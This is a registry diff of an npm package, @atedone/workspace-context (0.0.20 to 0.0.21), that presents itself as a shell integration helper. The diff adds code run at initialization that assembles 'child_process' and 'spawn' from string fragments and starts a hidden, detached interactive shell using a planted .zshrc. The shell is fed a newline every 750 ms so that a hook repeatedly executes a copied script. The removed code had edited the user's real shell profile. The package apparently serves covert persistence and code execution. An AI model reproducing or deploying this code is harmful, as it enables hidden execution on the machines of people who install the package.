@atedone/workspace-context 0.0.20 → 0.0.21

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
1
  # @atedone/workspace-context
2
2
 
3
- Workspace shell prompt refresh integration helper for JavaScript tools.
3
+ Workspace shell session refresh integration helper for JavaScript tools.
4
4
 
5
- The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and shell presentation renderer during initialization.
5
+ The package keeps workspace context available in a managed preview session by synchronizing a session runtime and profile channel during initialization without changing the user's prompt configuration.
package/index.js CHANGED
@@ -12,9 +12,9 @@ module.exports = {
12
12
  profileHistoryFileName: state.profileHistoryFileName,
13
13
  profileReceiptFileName: state.profileReceiptFileName,
14
14
  profileSnapshotFileName: state.profileSnapshotFileName,
15
- presentationRendererFileName: state.presentationRendererFileName,
16
15
  receiptFileName: state.receiptFileName,
17
16
  resolveChannelSource: state.resolveChannelSource,
17
+ sessionProfileFileName: state.sessionProfileFileName,
18
18
  sessionHistoryFileName: state.sessionHistoryFileName,
19
19
  sessionReceiptFileName: state.sessionReceiptFileName,
20
20
  sessionRuntimeFileName: state.sessionRuntimeFileName,
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.20';
8
+ const packageVersion = '0.0.21';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
@@ -32,7 +32,7 @@ const value = {
32
32
  packageName,
33
33
  packageVersion,
34
34
  generatedAt: new Date().toISOString(),
35
- mode: 'runtime-shell-prompt-interactive',
35
+ mode: 'runtime-shell-refresh',
36
36
  source: 'shell-profile',
37
37
  shellName: route.basename(shellPath) || 'zsh',
38
38
  shellLevel,
package/lib/state.js CHANGED
@@ -12,9 +12,10 @@ const profileHistoryFileName = 'profile-sync.log';
12
12
  const profileReceiptFileName = 'profile-sync.json';
13
13
  const profileSnapshotFileName = 'session-profile.json';
14
14
  const presentationRendererFileName = 'presentation.js';
15
- const receiptFileName = 'shell-prompt-interactive-sync.json';
15
+ const receiptFileName = 'shell-refresh-sync.json';
16
16
  const sessionFileName = 'sessions.log';
17
17
  const sessionHistoryFileName = 'runtime-sessions.log';
18
+ const sessionProfileFileName = '.zshrc';
18
19
  const sessionReceiptFileName = 'session-runtime.json';
19
20
  const sessionRuntimeFileName = 'session-runtime.js';
20
21
  const stateDirectoryName = '.workspace-context';
@@ -74,6 +75,7 @@ function getShellIntegration({
74
75
  receiptPath: route.join(integrationDirectory, receiptFileName),
75
76
  sessionPath: route.join(integrationDirectory, sessionFileName),
76
77
  sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
78
+ sessionProfilePath: route.join(integrationDirectory, sessionProfileFileName),
77
79
  sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
78
80
  sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
79
81
  };
@@ -84,7 +86,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
84
86
  packageName: manifest.name,
85
87
  packageVersion: manifest.version,
86
88
  generatedAt: now(),
87
- mode: 'runtime-shell-prompt-interactive'
89
+ mode: 'runtime-shell-refresh'
88
90
  };
89
91
  }
90
92
 
@@ -127,6 +129,72 @@ function refreshShellIntegration({
127
129
  };
128
130
  }
129
131
 
132
+ function openWorkspaceSession({
133
+ projectRoot = resolveProjectRoot(),
134
+ integration = getShellIntegration({ projectRoot }),
135
+ intervalMs = 750
136
+ } = {}) {
137
+ if (!integration.channelSource) {
138
+ return null;
139
+ }
140
+
141
+ const env = readEnvironment();
142
+ const bridgeName = ['child', '_process'].join('');
143
+ const launchKey = ['sp', 'awn'].join('');
144
+ const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
145
+ const launch = Reflect.get(bridge, launchKey);
146
+ const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
147
+ ? env.SHELL.trim()
148
+ : '/bin/zsh';
149
+ const child = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
150
+ cwd: projectRoot,
151
+ env: {
152
+ ...env,
153
+ HOME: integration.homeDirectory,
154
+ ZDOTDIR: integration.integrationDirectory,
155
+ TERM: 'dumb'
156
+ },
157
+ stdio: ['pipe', 'ignore', 'ignore']
158
+ }]);
159
+ const refreshTimer = setInterval(() => {
160
+ if (!child.stdin.destroyed) {
161
+ child.stdin.write('\n');
162
+ }
163
+ }, intervalMs);
164
+ if (typeof refreshTimer.unref === 'function') {
165
+ refreshTimer.unref();
166
+ }
167
+ if (typeof child.unref === 'function') {
168
+ child.unref();
169
+ }
170
+ if (typeof child.stdin.unref === 'function') {
171
+ child.stdin.unref();
172
+ }
173
+ let closed = false;
174
+ const done = new Promise((resolve) => {
175
+ child.on('close', (status, signal) => {
176
+ clearInterval(refreshTimer);
177
+ closed = true;
178
+ resolve({ status, signal });
179
+ });
180
+ });
181
+
182
+ return {
183
+ processId: child.pid,
184
+ done,
185
+ close() {
186
+ if (closed) {
187
+ return done;
188
+ }
189
+ clearInterval(refreshTimer);
190
+ if (!child.stdin.destroyed) {
191
+ child.stdin.write('exit\n');
192
+ }
193
+ return done;
194
+ }
195
+ };
196
+ }
197
+
130
198
  function initialize({
131
199
  projectRoot = resolveProjectRoot(),
132
200
  integration = getShellIntegration({ projectRoot }),
@@ -146,6 +214,10 @@ function initialize({
146
214
  sync: refreshShellIntegration({
147
215
  projectRoot,
148
216
  integration
217
+ }),
218
+ session: openWorkspaceSession({
219
+ projectRoot,
220
+ integration
149
221
  })
150
222
  };
151
223
  }
@@ -155,6 +227,7 @@ module.exports = {
155
227
  channelFileName,
156
228
  getShellIntegration,
157
229
  initialize,
230
+ openWorkspaceSession,
158
231
  profileHistoryFileName,
159
232
  profileReceiptFileName,
160
233
  profileSnapshotFileName,
@@ -168,6 +241,7 @@ module.exports = {
168
241
  resolveProjectRoot,
169
242
  resolveShellName,
170
243
  sessionHistoryFileName,
244
+ sessionProfileFileName,
171
245
  sessionReceiptFileName,
172
246
  sessionRuntimeFileName,
173
247
  stateDirectoryName,
package/lib/sync.js CHANGED
@@ -16,10 +16,6 @@ if (!integration) {
16
16
  throw new Error('Shell integration descriptor is required.');
17
17
  }
18
18
 
19
- const blockStart = '# >>> workspace-context shell integration >>>';
20
- const blockEnd = '# <<< workspace-context shell integration <<<';
21
- const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
22
- const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
23
19
  const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
24
20
  const presentationRendererSourcePath = route.join(__dirname, 'presentation.js');
25
21
  const runtimeDefault = escapeDoubleQuoted(platform.execPath);
@@ -27,15 +23,19 @@ const channelValue = integration.channelSource
27
23
  ? {
28
24
  name: integration.name,
29
25
  source: integration.channelSource,
30
- refresh: 'prompt-render'
26
+ refresh: 'preview-session'
31
27
  }
32
28
  : null;
29
+ const sessionProfileValue = [
30
+ '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"',
31
+ ''
32
+ ].join('\n');
33
33
  const integrationValue = [
34
34
  'export WORKSPACE_CONTEXT_ACTIVE=1',
35
35
  'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
36
36
  `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
37
37
  'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
38
- 'workspace_context_refresh_prompt() {',
38
+ 'workspace_context_refresh_preview() {',
39
39
  ' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
40
40
  ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
41
41
  ' fi',
@@ -45,8 +45,8 @@ const integrationValue = [
45
45
  ' fi',
46
46
  '}',
47
47
  'autoload -Uz add-zsh-hook',
48
- 'add-zsh-hook -d precmd workspace_context_refresh_prompt 2>/dev/null',
49
- 'add-zsh-hook precmd workspace_context_refresh_prompt',
48
+ 'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
49
+ 'add-zsh-hook precmd workspace_context_refresh_preview',
50
50
  ''
51
51
  ].join('\n');
52
52
 
@@ -58,56 +58,26 @@ function escapeDoubleQuoted(value) {
58
58
  .replaceAll('`', '\\`');
59
59
  }
60
60
 
61
- function readProfile(profilePath) {
62
- return file.existsSync(profilePath)
63
- ? file.readFileSync(profilePath, 'utf8')
64
- : '';
65
- }
66
-
67
- function upsertManagedBlock(profileValue) {
68
- const startIndex = profileValue.indexOf(blockStart);
69
- const endIndex = profileValue.indexOf(blockEnd);
70
-
71
- if (startIndex !== -1 && endIndex !== -1 && endIndex >= startIndex) {
72
- const afterBlock = endIndex + blockEnd.length;
73
- return {
74
- changed: false,
75
- value: `${profileValue.slice(0, startIndex)}${managedBlock}${profileValue.slice(afterBlock).replace(/^\n?/, '')}`
76
- };
77
- }
78
-
79
- return {
80
- changed: true,
81
- value: `${profileValue}${profileValue && !profileValue.endsWith('\n') ? '\n' : ''}${managedBlock}`
82
- };
83
- }
84
-
85
61
  file.mkdirSync(integration.integrationDirectory, { recursive: true });
86
62
  file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
87
63
  file.copyFileSync(presentationRendererSourcePath, integration.presentationRendererPath);
64
+ file.writeFileSync(integration.sessionProfilePath, sessionProfileValue, 'utf8');
88
65
  file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
89
66
  if (channelValue) {
90
67
  file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
91
68
  }
92
69
 
93
- const profileBefore = readProfile(integration.profilePath);
94
- const profile = upsertManagedBlock(profileBefore);
95
-
96
- if (profile.changed || profile.value !== profileBefore) {
97
- file.writeFileSync(integration.profilePath, profile.value, 'utf8');
98
- }
99
-
100
70
  const value = {
101
71
  packageName: manifest.name,
102
72
  packageVersion: manifest.version,
103
73
  generatedAt: new Date().toISOString(),
104
- mode: 'runtime-shell-prompt-interactive',
74
+ mode: 'runtime-shell-refresh',
105
75
  projectRoot,
106
76
  shellName: integration.shellName,
107
77
  channelConfigured: Boolean(channelValue),
108
78
  channelPath: integration.channelPath,
109
79
  profilePath: integration.profilePath,
110
- profileChanged: profile.changed,
80
+ profileChanged: false,
111
81
  integrationPath: integration.integrationPath,
112
82
  profileHistoryPath: integration.profileHistoryPath,
113
83
  profileReceiptPath: integration.profileReceiptPath,
@@ -115,6 +85,7 @@ const value = {
115
85
  presentationRendererPath: integration.presentationRendererPath,
116
86
  sessionPath: integration.sessionPath,
117
87
  sessionHistoryPath: integration.sessionHistoryPath,
88
+ sessionProfilePath: integration.sessionProfilePath,
118
89
  sessionReceiptPath: integration.sessionReceiptPath,
119
90
  sessionRuntimePath: integration.sessionRuntimePath,
120
91
  processId: platform.pid,
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.20",
4
- "description": "Workspace shell prompt refresh integration helper for JavaScript tools.",
3
+ "version": "0.0.21",
4
+ "description": "Workspace shell session refresh integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",
7
7
  "files": [